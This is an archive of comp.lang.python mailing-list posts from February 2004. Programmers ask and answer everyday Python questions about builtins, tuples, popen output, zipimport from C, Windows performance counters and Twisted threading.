From no at spam.pls  Tue Feb 24 08:38:51 2004
From: no at spam.pls (Matthias)
Date: 24 Feb 2004 14:38:51 +0100
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>
Message-ID: <36wu11g8ums.fsf@goya03.ti.uni-mannheim.de>

Duncan Booth <me at privacy.net> writes:

> PPNTWIMBXFFC at spammotel.com (Marco Aschwanden) wrote in 
> news:15c2d03b.0402240311.395f5382 at posting.google.com:
> > *** Problem: Many builtins are not necessary
> > 
> > Many builtins are not necessary. To name a few: min / max / len
> > 
> > This functions should be defined on the class:
> > 
> > ["I", "like", "Python"].len()
> > "I".len()
> > {1:"I", "2":"like", 3:"Python"}.len()
> > (1,2,3,4).len()
> 
> The advantage of min and max as builtins are that they work on any 
> sequence. In particular they work on iterators. Having functions that apply 
> to an arbitrary sequence avoids a lot of potential code duplication.

Do you mean code duplication on the user side?  Or code duplication in
Python's implementations?  In the latter case, it seems strange to
force inconsistent method/function usage on thousands of developers
just in order to save a couple of lines in Python's source code.

To me, Python's builtins are by far not a "problem", but I admit that
I never understood why astring.len() doesn't work.


From dood at dood.com  Thu Feb 26 14:19:09 2004
From: dood at dood.com (Joe F. Blow)
Date: Thu, 26 Feb 2004 11:19:09 -0800
Subject: python newbie having strangeness
References: <of4s30p4a2nq964bjb0kcb25ocrv5kj2sk@4ax.com>
Message-ID: <sdhs309hj0ntm5j3ju9vu3s51c90lbpvni@4ax.com>

Thanks for your help guys. Much appreciated. I will for sure have more
dumb questions for ya later. I _dabble_ in many languages (C, Perl
and lots of flavors of assembler especially), but just discovered
Python. Seems like a very nice language if I can just get my head
around a few things.



From jepler at unpythonic.net  Wed Feb  4 16:20:40 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 4 Feb 2004 15:20:40 -0600
Subject: A matrix problem. Please help!
In-Reply-To: <8zaUb.2767$O41.76012@amstwist00>
References: <8zaUb.2767$O41.76012@amstwist00>
Message-ID: <20040204212040.GB2092@unpythonic.net>

Well, my strategy is to get a new array with 1 in the spots where you
want a 1 in the output, and other values elsewhere.  Then I can use
comparison to get a (boolean) array with 1s in the right place

I didn't find a satisfactory way to do that, but here's one that seemed
to work:
>>> ru
array([[0, 0, 1, 0, 1],
       [1, 0, 0, 1, 1],
       [0, 0, 0, 1, 1],
       [1, 1, 1, 0, 0],
       [1, 1, 0, 1, 0]])
>>> N.add.accumulate(N.add.accumulate(ru, 1), 1)
array([[ 0,  0,  1,  2,  4],
       [ 1,  2,  3,  5,  8],
       [ 0,  0,  0,  1,  3],
       [ 1,  3,  6,  9, 12],
       [ 1,  3,  5,  8, 11]])
>>> _ == 1
array([[0, 0, 1, 0, 0],
       [1, 0, 0, 0, 0],
       [0, 0, 0, 1, 0],
       [1, 0, 0, 0, 0],
       [1, 0, 0, 0, 0]], type=Bool)

The first accumulate makes everything to the left of a 1 >0, and the
second accumulate makes it >1.

Jeff



From bignose-hates-spam at and-benfinney-does-too.id.au  Tue Feb  3 23:51:52 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 4 Feb 2004 15:41:52 +1050
Subject: HappyDoc Error
References: <40204d36$1_3@newspeer2.tds.net>
Message-ID: <slrnc20voo.5dk.bignose-hates-spam@iris.polar.local>

On Tue, 3 Feb 2004 19:44:21 -0600, Olaf Meding wrote:
> Does someone know what the error below could mean?
> 
> Skiping unrecognized file somefile.py with mimetype application/x-function

Where does this error come from?  What steps can be used to recreate it?

-- 
 \       "I watched the Indy 500, and I was thinking that if they left |
  `\      earlier they wouldn't have to go so fast."  -- Steven Wright |
_o__)                                                                  |
Ben Finney <http://bignose.squidly.org/>


From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Mon Feb 23 09:05:54 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Mon, 23 Feb 2004 15:05:54 +0100
Subject: Typecasting
In-Reply-To: <Xns94987D9D2D1Cduncanrcpcouk@127.0.0.1>
References: <mailman.198.1077534828.27104.python-list@python.org>
	<Xns94987D9D2D1Cduncanrcpcouk@127.0.0.1>
Message-ID: <403a08c2$0$561$e4fe514c@news.xs4all.nl>

Duncan Booth wrote:

> "Shah, Rajesh \(GE Consumer & Industrial\)" <Rajesh.Shah at ge.com> wrote in 
> news:mailman.198.1077534828.27104.python-list at python.org:
> 
> 
>>Hi Everybody,
>>
>>Can you guide me to convert string into Int datatype?
>>(i.e. How can we convert string into int? like '555' into 555)
>>
>>Thanks in advance.
>>
>>~Rajesh
>>
>>
> 
> 
>>>>int('555')
> 
> 555
> 
> In general, if there is a conversion defined between two types then you do 
> the conversion by calling the destination type. So calling int() will 
> convert a string, float, or long to an int (but it won't convert a complex 
> number); calling str() will convert just about anything to a string; 
> calling list will convert other sequences into a list and so on.

THe important word here is 'convert'. Python doesn't know about the
concept of type 'casting'... ;-)

--Irmen


From jcarlson at nospam.uci.edu  Wed Feb 11 15:36:37 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 11 Feb 2004 12:36:37 -0800
Subject: Accessing external file output from script?
In-Reply-To: <102krru3gfkbs09@corp.supernews.com>
References: <40299803$0$41295$a1866201@newsreader.visi.com>
	<102krru3gfkbs09@corp.supernews.com>
Message-ID: <c0e3t6$m9o$1@news.service.uci.edu>

> I believe you are saying that you want to know a Python idiom
> for launching an external application (MY_SMALL_PROGRAM.exe?),
> perhaps with a command-line argument or two, and collect its
> result back into a Python variable for subsequent processing.
> Is that correct?  What does "return" mean to you in this con-
> text?  Are you saying that MY_SMALL_PROGRAM.exe puts specific
> output such as "ERROR_XXX" to its stdout (or stderr?), or is
> your focus on the process's exit status?
> 
> I suspect you'll end up reading <URL:
> http://python.org/doc/current/lib/module-popen2.html >.
> 
> Question for the audience:  what are the impediments to making
> <URL: http://python.org/doc/current/lib/module-commands.html >
> available for Windows?

I don't know if there are many, other than the format of the os.popen 
call of commands.getstatusoutput not being understandable to Windows.

On windows, I usually use the following:

def getoutput(cmdline):
     fil = os.popen(cmdline, 'r')
     output = fil.read()
     fil.close()
     return output

But I don't bother with the status output.

The reasons may be related to the windows specifics required for 
os.popen5 that should be included in some future Python release.

  - Josiah


From miki.tebeka at zoran.com  Mon Feb  2 06:53:38 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 2 Feb 2004 03:53:38 -0800
Subject: Deploying Python _Applications_
References: <930ba99a.0402012051.4ef9c3a5@posting.google.com>
Message-ID: <4f0a9fdb.0402020353.8b2ea08@posting.google.com>

Hello Sridhar,

> 1. Installtion prefix contants '/usr/ or /usr/local'
> 2. Some constants set during build (like 'HAVE_GTK2' in autoconf)
> 
> I searched the distutils documentation and seems to be distutils can't
> handle these.
> 
> Any thoughts?
You can write any code you like in the `setup.py' script.
I use a .ini file with all these parameters written at install time
(on M$ world NSIS is doing this). And then at run time the script load
the .ini file and run.

HTH.
Miki


From sross at connectmail.carleton.ca  Tue Feb 24 17:20:30 2004
From: sross at connectmail.carleton.ca (Sean Ross)
Date: Tue, 24 Feb 2004 17:20:30 -0500
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>
Message-ID: <t6Q_b.4504$ee3.293168@news20.bellglobal.com>

----- Original Message ----- 
From: "Duncan Booth" <me at privacy.net>
> > *** Problem: tuples are not necessary
> >
> > Throw them away in the long run - for now make them depracted. It is
> > hard to argue in favour of tuples. There might to 2 reason:
> >
> > 1. It is MUCH faster than a list
> > 2. We can't live without an immutable list
>
> Forget the speed and memory difference. The main argument for tuples as a
> separate type are to use as dictionary keys. How do you propose to handle
> dictionary keys without tuples?

Well, you _could_ (you won't, but you could ;) take some ideas from Ruby:

"""
obj.freeze -> obj

Prevents further modifications to obj. A TypeError will be raised if
modification is attempted. There is no way to unfreeze a frozen object. See
also Object#frozen? .
"""

I would think that myList.freeze() should allow myList to be used as a
dictionary key. Of course, now you'd have to freeze your lists before using
them in a dictionary ... I don't know why I bother ...





From claird at lairds.com  Fri Feb 27 08:07:18 2004
From: claird at lairds.com (Cameron Laird)
Date: Fri, 27 Feb 2004 13:07:18 -0000
Subject: detecting the operating system
References: <c1mtcj$ofv$1@news-int.gatech.edu>
Message-ID: <103ug865e8q16c8@corp.supernews.com>

In article <c1mtcj$ofv$1 at news-int.gatech.edu>,
Woojay Jeon <wjj{nospam}eon at ece.gatech.edu> wrote:
>OK, I tried a Google search on this Usenet group but couldn't find a
>solution, so I'm posting my question here (if there's a better archive than
>the one in Google, please let me know).
			.
			.
			.
No; Google's best.

I write that as the expert on newsgroup archives <URL:
http://phaseit.net/claird/news.lists/newsgroup_archives.html >.
Google's simply on top.  For some purposes, though, you might find
<URL: http://mail.python.org/pipermail/python-list/ > handier.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From kirk at strauser.com  Sun Feb  8 14:55:08 2004
From: kirk at strauser.com (Kirk Strauser)
Date: Sun, 08 Feb 2004 19:55:08 GMT
Subject: passing what a function returns to another function
References: <c03uh1$6ut$1@solaris.cc.vt.edu>
	<pan.2004.02.08.16.07.24.719493.12811@mikka.net.au>
	<c05mn8$q9a$1@solaris.cc.vt.edu>
Message-ID: <87y8rdiby3.fsf@strauser.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 2004-02-08T16:05:06Z, Bart Nessux <bart_nessux at hotmail.com> writes:

> It is a Denial of Service script written in Python and it is very
> effective (produces loads > 150 on a 1000MHz PowerMac G4 running apache
> with static html pages). It's been written for Unix load testing in an
> academic setting.

OK, that's fine, but you should know that many such tools already exist.  If
the aim of your project is writing one in Python, go for it.  If not, your
time might be better spent using one that's already in production.

- From a description of http://home.tiscali.cz/~cz210552/webbench.html:

    webbench is very simple HTTP benchmarking tool, which can benchmark both
    WWW and proxy servers. webbench uses fork() for simulating multiple
    clients and supports benchmarking by HTTP/0.9-HTTP/1.1 requests (without
    Keep-Alive). This benchmark is not very realistic, but can test if your
    HTTPD can really handle many clients at once (try to run some CGIs)
    without taking your machine down. I am using this program for setting
    maximum number of Apaches. Webbench displays results in pages/min and
    bytes/sec.


- -- 
Kirk Strauser
The Strauser Group
Open. Solutions. Simple.
http://www.strausergroup.com/
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iD8DBQFAJpQH5sRg+Y0CpvERAueyAJ9dY5JQIYkocwyN/X5XLNuI38XSiACdFufi
auDALXYFDO9QV4AeY9tyUjA=
=B09Q
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From ray.chou at msa.hinet.net  Thu Feb 12 09:06:36 2004
From: ray.chou at msa.hinet.net (Ray B. X. Zhou)
Date: Thu, 12 Feb 2004 22:06:36 +0800
Subject: xml unknown encoding: big5
Message-ID: <c0g189$8pk@netnews.hinet.net>

I use xml.sax to parse big5 encoding xml file.
And I got message "unknown encoding: big5".
What can I do?
Thank you very much.

Ray




From sigurd at 12move.de  Fri Feb 13 20:23:06 2004
From: sigurd at 12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=)
Date: Sat, 14 Feb 2004 02:23:06 +0100
Subject: Maintaining a list
References: <b4a8ffb6.0402131633.1cb220d6@posting.google.com>
	<m3k72qtrlq.fsf@hamster.pflaesterer.de>
Message-ID: <m3fzdetpzn.fsf@hamster.pflaesterer.de>

On 14 Feb 2004, Karl Pfl?sterer <- sigurd at 12move.de wrote:

> So if you write:

Here something got lost during c&p

>>> def myfunc (item, lst = []):
...     lst.append(item)
...     return lst
... 

>>>> myfunc(1)
> [1]
>>>> myfunc(2)
> [1, 2]
>>>> myfunc(3)
> [1, 2, 3]

   KP

-- 
 He took his vorpal sword in hand:
     Long time the manxome foe he sought--
 So rested he by the Tumtum tree,
     And stood awhile in thought.  "Lewis Carroll" "Jabberwocky"


From anmeldung at payback.de  Thu Feb  5 03:00:27 2004
From: anmeldung at payback.de (anmeldung at payback.de)
Date: Thu, 5 Feb 2004 09:00:27 +0100
Subject: Payback Autoreply: 
Message-ID: <200402050800.i1580RO31548@comserver1.lprz.com>

Liebe Kundin, lieber Kunde,

leider kann Ihre Mail nicht von uns bearbeitet werden.

M?chten Sie uns etwas mitteilen? Dann klicken Sie bitte hier: www.payback.de/kontakt

Wir w?nschen Ihnen einen punktereichen Tag & weiterhin viel Freude und Sammelspa? mit PAYBACK!

Ihr PAYBACK Team



From bob at redivi.com  Sun Feb 29 21:40:43 2004
From: bob at redivi.com (Bob Ippolito)
Date: Sun, 29 Feb 2004 21:40:43 -0500
Subject: Twisted/Woven threading?
References: <c1u2br$v6k$1@bagan.srce.hr>
Message-ID: <2004022921404364440%bob@redivicom>

On 2004-02-29 20:07:04 -0500, Ivan Voras <ivoras at __geri.cc.fer.hr> said:

> I've experimented with a simple web application made with woven and 
> stated by twistd from a .tap file, on a Win32. It seems that the web 
> server started that way is not multitasked/multithreaded and that one 
> request that requires long processing (e.g. a factory that produces a 
> long result fetched from a database) makes the server totaly 
> unresponsive.
> 
> Is that normal? What can I do to make it multithreaded?

You're probably using DBAPI stuff directly, you can't do that, it's 
blocking.  You need to do that work in a separate thread, the easiest 
way is probably with twisted.enterprise.  There are tutorials and such 
about this, and a better place to ask is the Twisted mailing list(s).

-bob



From tjreedy at udel.edu  Tue Feb 24 13:48:20 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 24 Feb 2004 13:48:20 -0500
Subject: wxWindows changes name
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake><480m30hd68ncg81if70n81h8tict03oda3@4ax.com>
	<wzy8qsfqe6.fsf@ordesa.cs.uu.nl>
Message-ID: <c1g69i$rta$1@sea.gmane.org>


"Piet van Oostrum" <piet at cs.uu.nl> wrote in message
news:wzy8qsfqe6.fsf at ordesa.cs.uu.nl...

> So what will happen to the X Window system, often referred to as
XWindows.

Isn't there a consortium or something, with much more resources ($$$) to
fight than Julian and Robin have?  Anyway, I have the impression (possibly
wrong) that WxWindows started out to be compatible with and a clone of and
was originally named after MS Windows, while the X Window system preceeds
MSW, so that the cases (and possible court outcomes) are different.

It is a complement to Julian and Robin that MS noticed them enough to
threaten and negotiate with them.  Also that they did not just cave but
negotiated a 6 month transition period and $ for transition costs.

> And what about the comp.windows.x newsgroup hierarchy?

Who are they going to sue?

Terry J. Reedy







From maarten at remove_this_ws.tn.tudelft.nl  Tue Feb 10 03:02:26 2004
From: maarten at remove_this_ws.tn.tudelft.nl (Maarten van Reeuwijk)
Date: Tue, 10 Feb 2004 09:02:26 +0100
Subject: Transfer undefined class methods to attribute's method.
References: <c084pg$4m2$1@news.tudelft.nl>
	<c085k2$1387ce$1@ID-217427.news.uni-berlin.de>
Message-ID: <c0a36i$r8p$1@news.tudelft.nl>

That does the trick! 

Thanks guys,

Maarten
-- 
===================================================================
Maarten van Reeuwijk                    Thermal and Fluids Sciences
Phd student                             dept. of Multiscale Physics
www.ws.tn.tudelft.nl                 Delft University of Technology


From jzgoda at gazeta.usun.pl  Sun Feb  1 04:08:55 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Sun, 1 Feb 2004 09:08:55 +0000 (UTC)
Subject: Programmers Wanted for Computer Graphics Startup Near
	Philadelphia
References: <2da21d6c.0401310807.671be3b7@posting.google.com>
	<bvh1eq$jjr$1@namru.matavnet.hu>
	<%rUSb.37510$Wa.14668@news-server.bigpond.net.au>
Message-ID: <bvifn6$82f$3@atlantis.news.tpi.pl>

Neil Hodgson <nhodgson at bigpond.net.au> pisze:

>> Software patents are evil.
>> Hell to them.
> 
>    Unfortunately, software patents are part of the business landscape now.
> They often seem to be comfort blankets for investors ("we have something
> unique that absolutely preserves our market position") rather than anything
> real. To succeed in an interview, one must avoid laughing at the claims to
> uniqueness and refrain from pointing out that the patent actually describes
> a sub-optimal solution.

Often Americans don't take into account, that most of the world simply
don't recognize software patents.

-- 
Jarek Zgoda
Unregistered Linux User #-1
http://www.zgoda.biz/ JID:zgoda-a-chrome.pl http://zgoda.jogger.pl/


From tkpmep at hotmail.com  Thu Feb  5 16:09:46 2004
From: tkpmep at hotmail.com (Thomas Philips)
Date: 5 Feb 2004 13:09:46 -0800
Subject: Newbie question on tuples
Message-ID: <b4a8ffb6.0402051309.4292ccf1@posting.google.com>

How does one find the position of an item in a tuple. i.e. If the
tuple is ("rock", "scissors", "paper"), what function (or method) do I
call with "rock" to get 0 or with "paper" to get 2?

Thomas Philips


From max at NcOviSsPiAoMntech.com  Fri Feb 20 16:06:39 2004
From: max at NcOviSsPiAoMntech.com (max khesin)
Date: Fri, 20 Feb 2004 21:06:39 GMT
Subject: ANN: Leo 4.1 final
In-Reply-To: <103ct82levl7v76@corp.supernews.com>
References: <103cd8fp3cbgfb@corp.supernews.com>
	<%mrZb.161010$cM1.29870499@twister.nyc.rr.com>
	<103ct82levl7v76@corp.supernews.com>
Message-ID: <zFuZb.63449$Lp.44301@twister.nyc.rr.com>

Wow, sweet, rst + leo is what I was looking for! thanks and thanks!

Edward K. Ream wrote:

>>I am actually trying to set up a Leo-based documentation project right
>>now (though I am pretty new to it). Are there any previous case-studies
>>on people doing documentation?
> 
> 
> The new rst2.py plugin might be a real good place to start.  See the
> documentation in the node called "Description of rst2 by Steve Zatz"
> 
> The short form:
> 
> """If a headline starts with @rst <filename>, double-clicking on it will
> write a file in outline order, with the headlines converted to
> reStructuredText
> section headings.
> 
> If the name of the <filename> has the extension .html, .htm or .tex, and if
> you have
> docutils installed, it will generate HTML or LaTeX, respectively."""
> 
> 
>>In particular I am interested in being
>>able to embed Leo node links directly in another node's text (for
>>automatic HTML generation). I know I can do it through programming (or
>>XSLT...brrrr....), but I am really trying avoid re-inventing the wheel
>>due to the project's time constraints. Any info would help.
> 
> 
> I suspect that you can do almost anything you want with rst2.py.  I'll be
> posting Steve's own examples on Leo's web site today:
> 
> - wxListManager.leo:  the "source code" for the documentation.
> - listManagerDocs.html:  the html output created by rst2.py plugin.
> - several stylesheets for use by generated files.
> 
> When you see listManagerDocs.html I think you will be impressed with the
> kinds of things that can be done with Leo+rst+docutils+(optional)silver
> city+web standards.
> 
> Thanks for this question.  Steve's work deserves much more attention than it
> has gotten so far.
> 
> Edward
> --------------------------------------------------------------------
> Edward K. Ream   email:  edreamleo at charter.net
> Leo: Literate Editor with Outlines
> Leo: http://webpages.charter.net/edreamleo/front.html
> --------------------------------------------------------------------
> 
> 


From paul at fxtech.com  Wed Feb 11 15:44:01 2004
From: paul at fxtech.com (Paul Miller)
Date: Wed, 11 Feb 2004 14:44:01 -0600
Subject: using the zipimporter module from my own C code?
In-Reply-To: <6.0.1.1.2.20040211134302.04cb9ec0@mail.fxtech.com>
References: <402A8744.5090609@inverisa.net>
	<6.0.1.1.2.20040211134302.04cb9ec0@mail.fxtech.com>
Message-ID: <6.0.1.1.2.20040211144146.02c0bec0@mail.fxtech.com>


>I'm starting to use the nifty 2.3 feature where modules can be bundled 
>into .zip files. I'd like to bundle additional (text) data files in the 
>same zip file, and load them in my C code.

By looking at zipimport.c and import.c in the Python code, I was able to 
figure out how to get this to work. Here is the code, if anyone is interested:

         // get the zipimport module
         PyObject *zipimport = ::PyImport_ImportModule("zipimport");
         if (zipimport)
         {
                 // get the zipimporter type
                 PyObject *zipimporter = 
::PyObject_GetAttrString(zipimport, "zipimporter");
                 if (zipimporter)
                 {
                         // here is the zip file path to open
                         std::string path = "full_path_to.zip";

                         // "call" the type to create a new zipimporter 
instance, with the path
                         PyObject *importer = 
::PyObject_CallFunction(zipimporter, "s", path.c_str());
                         if (importer)
                         {
                                 // call the "get_data" method passing the 
name of the file to retrieve
                                 PyObject *data = 
::PyObject_CallMethod(importer, "get_data", "s", file.c_str());
                                 if (data)
                                 {
                                         // get the data as a string (this 
assumes the file is TEXT)
                                         const char *str = 
::PyString_AsString(data);
                                         if (str)
                                         {
                                                 // do something with the data
                                         }
                                         Py_DECREF(data);
                                 }
                                 Py_DECREF(importer);
                         }
                         Py_DECREF(zipimporter);
                 }
                 Py_DECREF(zipimport);
         }






From aahz at pythoncraft.com  Mon Feb  2 12:20:37 2004
From: aahz at pythoncraft.com (Aahz)
Date: 2 Feb 2004 12:20:37 -0500
Subject: OT: why do web BBS's and blogs get so slow?
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<7xy8rmukd2.fsf@ruckus.brouhaha.com>
	<bvktq3$k3b$1@news.service.uci.edu>
	<7xvfmp7tpn.fsf@ruckus.brouhaha.com>
Message-ID: <bvm0t5$j44$1@panix3.panix.com>

In article <7xvfmp7tpn.fsf at ruckus.brouhaha.com>,
Paul Rubin  <http://phr.cx at NOSPAM.invalid> wrote:
>Josiah Carlson <jcarlson at nospam.uci.edu> writes:
>>
>> As of right now, says that > 217,000 users have updated their
>> livejournal in the last 24 hours.  That is 217,000 database writes in
>> the last 24 hours.  Nothing to shake a stick at.
>
>Well, that depends on what the hardware is.  Does anyone know?

Go look at their site!  ;-)

>> However, most every post has the option of people commenting on
>> it.  Those stats don't count comments, which all require a DB write.
>
>Have you looked at the code and confirmed that each comment post
>requires a DB write in the usual sense?  Part of this discussion has
>been about how to avoid DB writes for such common operations.

They require writes at *some* point, because they're persistent.  What
kind of system they use (if any) to batch things up for efficiency, I've
no idea.

>> Or really, from my above numbers, > 200,000 visitors/day.
>
>That really is pretty impressive, I had no idea LJ was that big.  I
>wonder how much bandwidth they're using, what their expenses are, how
>many staff they have, how many paying users, etc.

LJ is huge.  I'd guess probably >50% of their active userbase is paying.

>LJ doesn't really have the right format for a discussion board, [...]

Which is precisely why I said that I was loathe to mention it.  ;-)
(I'm well-known in my social circle for my antipathy to LJ.)

Nevertheless, LJ is an excellent example of a high-performance web
application where the software is available as Open Source.  You can
probably learn a lot if you dig into it.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From dan at ithium.net  Thu Feb  5 12:44:55 2004
From: dan at ithium.net (Dan Williams)
Date: Thu, 5 Feb 2004 17:44:55 -0000
Subject: Python can't divide??!?!
Message-ID: <E1AonZY-0003kM-Tv.2004-02-05-17-45-53@tmailb1.svr.pol.co.uk>

Ummmm...

This is weird. Sorry if it's known about (how can it NOT be, I wonder?) but
I haven't seen any reference to it anywhere.

I'm running the latest Python (2.3.3) on Windows XP Pro, i386 architecture.

Fire up python or whatever.

Do this:     Result:

3 / 5        0                       Fair enough, int / int = int
3 / 5.0      0.59999999999999998     eh?
3.0 / 3      0.59999999999999998     ummmm...
3.0 / 5.0    0.59999999999999998     how did I guess...

That's just an example. Python cannot divide. Period. If you try 1.0 / 3 you
get 0.33333333333333331, and from this, the above example, and a few tests,
I speculate that *something* is subtracting 2 from the last digit *after*
the division is done.

Wacky.

Now, is this just me, or can someone else duplicate it? I've tried it on two
computers here, but they're both Win XP. I'm about to test it on Linux but I
figured I'd write this first.

Dan





From pinard at iro.umontreal.ca  Tue Feb 24 08:46:31 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Tue, 24 Feb 2004 08:46:31 -0500
Subject: Parsing library for Python?
In-Reply-To: <1ivl30dh4a4bfgp1msghvdf6nspnm1p18h@4ax.com>
References: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
	<40366383$0$3104$61fed72c@news.rcn.com>
	<1ivl30dh4a4bfgp1msghvdf6nspnm1p18h@4ax.com>
Message-ID: <20040224134631.GB17596@alcyon.progiciels-bpi.ca>

[Tim Roberts]

> C, C++, and Fortran are parsing nightmares, where end-of-line and
> spacing are important sometimes and ignored at other times, and so on.

End-of-line processing does not look too difficult for these languages.
But spaces in FORTRAN always looked difficult to parse, at least in
the original FORTRAN where they might appear anywhere, even inside an
identifier, while not even being required between "words".

One routine which was popular, at one place I worded, was named INGMTR,
as people used to always call it this way:

       CALLING MTR(... ARGUMENTS ...)

One traditional amusement was writing obscure programs, like:

       DO 50 I = 3

that had nothing to do with DO loops.  I wonder how FORTRAN parsers
worked to sort out such things.  Did later FORTRAN use more strict (or
at least usual) rules on white space?

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From aahz at pythoncraft.com  Wed Feb  4 14:16:07 2004
From: aahz at pythoncraft.com (Aahz)
Date: 4 Feb 2004 14:16:07 -0500
Subject: Any problems with *lots* of attributes?
References: <246a4e07.0402040703.2be902a9@posting.google.com>
Message-ID: <bvrgdn$t76$1@panix1.panix.com>

In article <246a4e07.0402040703.2be902a9 at posting.google.com>,
Frank Millman <frank at chagford.com> wrote:
>
>This is a question about the performance trade-off between two methods
>of storing data. One method is to create a separate attribute for each
>piece of data, and get/set the value according to its name. Another
>method is to create a list, and get/set the value according to its
>position in the list. In my limited tests, the first method is quicker.

That doesn't make any sense.  While lists and dicts are both essentially
O(1) for access, the constant is larger for dicts.  Please show us your
testing code.

OTOH, there's certainly nothing wrong with using dicts; they are the
single most fundamental Python data type after strings.  (All Python
name/attribute access is built on top of dicts.)
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From junk at microsoft.com  Wed Feb 18 07:36:11 2004
From: junk at microsoft.com (Saravanan D)
Date: Wed, 18 Feb 2004 18:06:11 +0530
Subject: Writing Windows performance counters
References: <pan.2004.02.09.02.53.54.338788@spamfree.optushome.com.au>
	<c074fa$2shp$1@arachne.labyrinth.net.au>
Message-ID: <c0vmau$kgg$1@news.mch.sbs.de>

Examples which are given the OReilly site (Python Win32 Programming) does
not work properly.  Could you please help me on that.

Saravanan D
"Mark Hammond" <mhammond at skippinet.com.au> wrote in message
news:c074fa$2shp$1 at arachne.labyrinth.net.au...
> David Mitchell wrote:
>
> > Could someone point me towards some sample code that creates performance
> > counters and updates them?  I suspect it's possible using
perfmondata.dll
> > that comes with win32all, but can't begin to guess how to get started.
>
> I thought there was sample code in win32all, but it looks like it never
> got created - but 1/2 of it is there.
>
> The win32\demos\service\install directory has a .h and a .ini file that
> are used by Windows itself when installing the perfmon data.
>
> Somewhere, your runtime code should implement code similar to:
>
> counters = [] # Empty list to fill with counters.
>
> # Counter of document opens.
> # Magic numbers (2, 4, 6) must match header and ini file used
> # at install - could lookup ini, but then I'd need it at runtime
> counterSomething=perfmon.CounterDefinition(2)
> counterSomething.DefaultScale = 1
> counters.append(counterSomething)
>
> counterSomethingElse=perfmon.CounterDefinition(4)
> counterSomethingElse.DefaultScale = 1
> counters.append(counterDocSave)
>
> perfObjectType = perfmon.ObjectType(counters)
>
> # end of sample
>
> The magic numbers must match the .h and .ini (which is a requirement of
> Windows, not us!)  Once the above code has been run, 'counterSomething'
> and 'counterSomethingElse' can have their 'Increment' method called, to
> increment the counter.
>
> Note that I don't try and hide the win32 gory details here, so you
> really must read the MS documentation on this complicated mechanism.
>
> Let me know if you would like any help.  A very useful thing to do would
> be to create a sub-class of the existing demo service, with the subclass
> doing nothing other than providing the perfmon data.  This was always my

> intent.  If you have trouble getting it going, providing the above as
> sample code to demonstrate your problem would get a good response ;)
>
> Mark.
>




From josecarlos at siadv.com  Mon Feb  2 06:17:58 2004
From: josecarlos at siadv.com (José Carlos)
Date: Mon, 2 Feb 2004 12:17:58 +0100
Subject: Close Threading
Message-ID: <bvlbkt$gpm$1@nsnmrro2-gest.nuria.telefonica-data.net>

Hi.

I start the threading process with  t.start()
How can i do to close the threading process?

Thank

Regards.
Jose.





From Rajesh.Shah at ge.com  Mon Feb 23 06:13:41 2004
From: Rajesh.Shah at ge.com (Shah, Rajesh (GE Consumer & Industrial))
Date: Mon, 23 Feb 2004 05:13:41 -0600
Subject: Typecasting
Message-ID: <7222CD5A0D2A034DADC1531A4C3D28C106C7E5EE@FTWMLVEM02.e2k.ad.ge.com>

Hi Everybody,

Can you guide me to convert string into Int datatype?
(i.e. How can we convert string into int? like '555' into 555)

Thanks in advance.

~Rajesh



From imbaczek at poczta.no.onet.spam.pl  Thu Feb  5 15:20:40 2004
From: imbaczek at poczta.no.onet.spam.pl (Marek 'Baczek' =?iso-8859-2?Q?Baczy=F1ski?=)
Date: Thu, 5 Feb 2004 21:20:40 +0100
Subject: building C modules in windows + Python 2.3 + cygwin
References: <402279C9.90BC8B8C@unipi.gr>
Message-ID: <slrnc259co.7a2.imbaczek@imbaczek.ogrody.nsm.pl>

On 2004-02-05, Andreou Giannis <gandreou at unipi.gr> wrote:
> Allthough it is possible to build modules in Python2.3.3 and distutils
> with cygwin,
> by running:
>     setup.py build --compiler=cygwin
> (after i created the libpython23.a)
> running:
>     setup.py install
> afterwards, complains about not building with msvs v.6,
> since my Python distribution is built with it.

python setup.py install --skip-build

Note that --skip-build should work in other places where it currently
doesn't/is ignored (bdist comes to mind, any workarounds for it except
bdist_wininst, which oddly works?)

> Is there a workaround for this problem?
> Can i simply copy the module file in the proper directory?

If it's a simple package, there shoulnd't be any problem with this.

-- 
{ Marek Baczy?ski :: UIN 57114871 :: GG 161671 :: JID imbaczek at jabber.gda.pl  }
{ http://www.vlo.ids.gda.pl/ | imbaczek at poczta fm | http://www.promode.org }
.. .. .. .. ... ... ...... evolve or face extinction ...... ... ... .. .. .. ..


From tim.golden at viacom-outdoor.co.uk  Mon Feb  9 05:53:07 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Mon, 9 Feb 2004 10:53:07 -0000 
Subject: Sharing Pipes in win32
Message-ID: <F1921F85572CB04D9F55B14BDC76B3E44346E9@tdi_nt9.internal.viacom-outdoor.co.uk>

NotW> From: Nir of the Waves [mailto:nir1408 at hotmail.com]
NotW> In windows platforms how can I make two processes hold two ends of the
